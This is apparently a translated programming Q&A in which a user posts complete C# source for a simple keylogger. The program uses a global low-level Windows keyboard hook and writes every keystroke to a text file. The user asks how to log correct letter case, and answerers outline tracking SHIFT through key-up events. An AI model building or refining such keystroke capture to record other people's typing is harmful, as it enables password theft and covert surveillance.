帮助修改Keylogger应用程序

时间:2010-09-09 02:54:24

标签: c#

我从互联网上获得了这个应用程序,我想添加一些修改。不幸的是,我不知道该怎么做。此应用程序是一个简单的键盘记录程序,可将日志保存在文本文件中。

*在键盘记录发生后读取文本文件后,我注意到它在大写字母中显示全部,并且对于标点符号,如SPACE或ENTER,使用了单词space和enter。

任何人都可以修改代码以保存角色的确切外壳吗?我无法理解代码....谢谢。

Form1.cs的

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using Utilities;

namespace Key_Logger
{
    /// <summary>
    /// Summary description for Form1.
    /// </summary>
    public class Form1 : System.Windows.Forms.Form
    {
        private System.Windows.Forms.ListBox listBox1;
        /// <summary>
        /// Required designer variable.
        /// </summary>
        private System.ComponentModel.Container components = null;

        globalKeyboardHook gkh = new globalKeyboardHook();
        private void HookAll()
        {
            foreach (object key in Enum.GetValues(typeof(Keys)))
            {

                gkh.HookedKeys.Add((Keys)key);
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
            HookAll();
            if (File.Exists(@"Keylogger.txt"))
            {
                File.Delete(@"Keylogger.txt");
            }
        }
        void gkh_KeyDown(object sender, KeyEventArgs e)
        {
            StreamWriter SW = new StreamWriter(@"Keylogger.txt", true);
            SW.Write(e.KeyCode);
            SW.Close();
        }

        public Form1()
        {
            //
            // Required for Windows Form Designer support
            //
            InitializeComponent();

            //
            // TODO: Add any constructor code after InitializeComponent call
            //
        }

        /// <summary>
        /// Clean up any resources being used.
        /// </summary>
        protected override void Dispose( bool disposing )
        {
            if( disposing )
            {
                if (components != null) 
                {
                    components.Dispose();
                }
            }
            base.Dispose( disposing );
        }

        //Windows Form Designer generated code


        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        [STAThread]
        static void Main() 
        {
            Application.Run(new Form1());
        }

    }
}

globalKeyboardHook.cs

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace Utilities {
    /// <summary>
    /// A class that manages a global low level keyboard hook
    /// </summary>
    class globalKeyboardHook {
        #region Constant, Structure and Delegate Definitions
        /// <summary>
        /// defines the callback type for the hook
        /// </summary>
        public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);

        public struct keyboardHookStruct {
            public int vkCode;
            public int scanCode;
            public int flags;
            public int time;
            public int dwExtraInfo;
        }

        public bool _hookAll = false;
        public bool HookAllKeys
        {
            get
            {
                return _hookAll;
            }
            set
            {
                _hookAll = value;
            }
        }
        const int WH_KEYBOARD_LL = 13;
        const int WM_KEYDOWN = 0x100;
        const int WM_KEYUP = 0x101;
        const int WM_SYSKEYDOWN = 0x104;
        const int WM_SYSKEYUP = 0x105;
        #endregion

        #region Instance Variables
        /// <summary>
        /// The collections of keys to watch for
        /// </summary>
        public List<Keys> HookedKeys = new List<Keys>();
        /// <summary>
        /// Handle to the hook, need this to unhook and call the next hook
        /// </summary>
        IntPtr hhook = IntPtr.Zero;
        keyboardHookProc khp; 
        #endregion

        #region Events
        /// <summary>
        /// Occurs when one of the hooked keys is pressed
        /// </summary>
        public event KeyEventHandler KeyDown;
        /// <summary>
        /// Occurs when one of the hooked keys is released
        /// </summary>
        public event KeyEventHandler KeyUp;
        #endregion

        #region Constructors and Destructors
        /// <summary>
        /// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
        /// </summary>
        public globalKeyboardHook()
        {
            khp = new keyboardHookProc(hookProc);
            hook();
        }
        /// <summary>
        /// Releases unmanaged resources and performs other cleanup operations before the
        /// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
        /// </summary>
        ~globalKeyboardHook() {
            unhook();
        }
        #endregion

        #region Public Methods
        /// <summary>
        /// Installs the global hook
        /// </summary>
        public void hook()
        {
            IntPtr hInstance = LoadLibrary("User32");
            hhook = SetWindowsHookEx(WH_KEYBOARD_LL, khp, hInstance, 0);
        } 

        /// <summary>
        /// Uninstalls the global hook
        /// </summary>
        public void unhook() {
            UnhookWindowsHookEx(hhook);
        }

        /// <summary>
        /// The callback for the keyboard hook
        /// </summary>
        /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
        /// <param name="wParam">The event type</param>
        /// <param name="lParam">The keyhook event information</param>
        /// <returns></returns>
        public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
            if (code >= 0)
            {
                Keys key = (Keys)lParam.vkCode;
                if (_hookAll ? true : HookedKeys.Contains(key))
                {
                    KeyEventArgs kea = new KeyEventArgs(key);
                    if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
                    {
                        KeyDown(this, kea);
                    }
                    else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
                    {
                        KeyUp(this, kea);
                    }
                    if (kea.Handled)
                        return 1;
                }
            }
            return CallNextHookEx(hhook, code, wParam, ref lParam);
        }

        #endregion

        #region DLL imports
        /// <summary>
        /// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
        /// </summary>
        /// <param name="idHook">The id of the event you want to hook</param>
        /// <param name="callback">The callback.</param>
        /// <param name="hInstance">The handle you want to attach the event to, can be null</param>
        /// <param name="threadId">The thread you want to attach the event to, can be null</param>
        /// <returns>a handle to the desired hook</returns>
        [DllImport("user32.dll")]
        static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);

        /// <summary>
        /// Unhooks the windows hook.
        /// </summary>
        /// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
        /// <returns>True if successful, false otherwise</returns>
        [DllImport("user32.dll")]
        static extern bool UnhookWindowsHookEx(IntPtr hInstance);

        /// <summary>
        /// Calls the next hook.
        /// </summary>
        /// <param name="idHook">The hook id</param>
        /// <param name="nCode">The hook code</param>
        /// <param name="wParam">The wparam.</param>
        /// <param name="lParam">The lparam.</param>
        /// <returns></returns>
        [DllImport("user32.dll")]
        static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);

        /// <summary>
        /// Loads the library.
        /// </summary>
        /// <param name="lpFileName">Name of the library</param>
        /// <returns>A handle to the library</returns>
        [DllImport("kernel32.dll")]
        static extern IntPtr LoadLibrary(string lpFileName);
        #endregion
    }
}

2 个答案:

答案 0 :(得分:3)

密钥记录器就是这样做的:记录击键。在Form1.Form1_Load中,它每次按下一个键时都会将gkh_keyDown注册为处理程序。重要的是,在释放密钥时没有处理程序 - 没有任何设置可以监视事件gkh_keyUp。但根GlobalKeyboardHook库确实提供了这些事件。

您需要编写一个新函数(可能是gkh_keyUp)来处理keyUp事件。这是了解任何人何时放开换档键的唯一方法。

如果您关心的只是SHIFT +字母,并且在释放Ctrl或Alt时,您需要执行以下操作:

  • 为当前是否按下SHIFT添加bool
  • 每当发现SHIFT是Key Down事件的关键时设置标志。只要它是Key Up上的键,就清除它。
  • 每当密钥字符串为“SPACE”时,请检测空格。
  • 如果未设置SHIFT标志,则在将密钥字母写入文件时使用String.ToLower();如果没有设置,请保持原样(以大写字母)。
  • 如果键盘接收到Ctrl或Alt,则使其打印(-CTRL)或(-ALT)以表示正在释放的键。除了更改SHIFT标志外,加号处理程序应该是空白的。

这不是一个重写,但在这个评论框中重写它感觉有点多。相关的事情是您根本不需要更改GlobalKeyboardHook.cs,您应该阅读有关事件,事件处理和委托的C#参考,以了解Form1_Load中发生了什么,如果您不确定如何注册关键事件。

答案 1 :(得分:1)

重要的是这一行:

SW.Write(e.KeyCode);

请注意,e.KeyCode的类型为KeyCode,这是一个枚举。此枚举的值为{A}键为A,空格键为Space等。使用此值调用SW.Write会将枚举值转换为包含其名称的字符串并写入那个文件。

看起来您的全局键盘钩子没有提供将此KeyCode转换为实际角色的任何功能。实现非常困难:键入的字符不仅取决于同时按下的其他键(例如Shift或AltGr),还取决于当前的键盘布局。用户可以安装几种不同的键盘布局,并始终在它们之间切换。